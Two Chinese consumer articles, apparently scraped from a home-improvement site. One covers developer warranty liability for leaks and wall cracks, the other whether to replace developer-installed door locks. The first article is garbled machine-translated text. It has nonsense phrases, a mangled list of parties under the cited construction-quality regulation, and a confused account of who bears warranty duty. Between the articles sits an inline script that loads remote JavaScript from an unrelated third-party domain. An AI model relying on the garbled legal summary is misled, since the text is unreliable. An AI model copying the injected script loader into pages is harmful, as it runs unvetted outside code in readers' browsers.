新装修的房子墙面裂缝找开发商开发商有维修责任

​下面来介绍一下新装修的房子墙面裂缝找开发商找开发商该怎么处理?王某在某个住宅区买了一间顶层公寓。在他入住仅三个月后，他就赶上了这个城市的雨季。屋顶在大面积泄漏。这让王非常生气。他刚到的新楼泄露了。这个属性的质量可以看出。让王更生气的是他在寻找新装修的房子墙面裂缝找开发商理论时发生的事情。开发商实际上说：“我们已根据合同将业主分配到房屋。问题在于业主的业务，与我们无关。”王应该怎么样?根据《物业管理条例》第31条的规定，施工单位应按照国家规定的保修期和保修范围承担财产的保修责任。《建设工程质量管理条例》第3条规定，施工单位，检验单位，设计单位，施工单位和工程监理单位依法对施工项目的质量负责。在这种情况下，由于王某是与开发商签订的房屋销售合同，房屋的主要保修责任应由开发商承担。新装修的房子墙面裂缝找开发商具体包括以下两个方面：(1)房屋建设中的质量问题。在完工检查期间可能不会临时发现房屋的质量，但在房主的使用过程中可能会暴露房屋的质量，如屋顶漏水，墙体渗漏，墙面剥落，地面开裂，空鼓，打磨，管道泄漏和质量问题如堵塞。因此，开发人员在一段时间内负有保修责任。(2)如果质量问题是由具有法定责任的单位引起的，如测量单位，设计单位和项目监督，上述单位也可能要求承担法律责任。当然，如果业主违反了房屋手册的规定并且使用不当，例如在装修过程中未经授权修改房屋结构造成的质量问题，业主只能承担责任，开发商不会承担保修责任。今天的内容就到这里了，新装修的房子墙面裂缝你知道怎么处理了吗? var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

开发商安装的门锁到底要不要换新的?不管买不买房都要知道这一点

都知道新房子都是开发商统一安装的门锁，很多人嫌麻烦，为了省钱就没有把门锁换掉，结果被小偷轻易的打开了门，吃了大亏，肠子都悔青了!有的人就说那是个例，一般情况下都是安全的，那么，新房子有必要把开发商装的门锁换掉吗?1、装修前后锁锁芯不同，AB锁芯让你不用太担心一般新房的门锁都是AB锁芯，就是说一把锁有两种钥匙，前期为了方便会给工人留钥匙，叫装修钥匙，装修完后，业主会用房主钥匙把原来的A锁芯转换成B锁芯，原来的装修钥匙就无法再打开门了。2、邻居的钥匙可以打开自家门吗?经常会看到新闻报道，爆出一不小心自己的钥匙能打开邻居的门，或者一把钥匙居然能打开好几扇门。这就涉及到一个“互开率”的问题。3、什么叫互开率?不同锁之间，会存在相互能打开的概率就叫互开率，互开率越低越安全，国家标准分为三级，A级锁互开率≤0.03%，一万把锁有三把是一样的;B级锁互开率为≤0.01%;C级锁互开率最低，约为≤0.0004%，也就是一百万把锁之中有4把是相同的。理论上来说，一把钥匙开两扇门的情况是可能出现的，但是可能性比较低。所以到底要不要把开放商的锁芯换掉呢?主要看门和锁的质量情况，还要看锁芯等级。当然还是不放心，最好还是自己全部换新的，不要为了省点钱，反而损失更多的财物。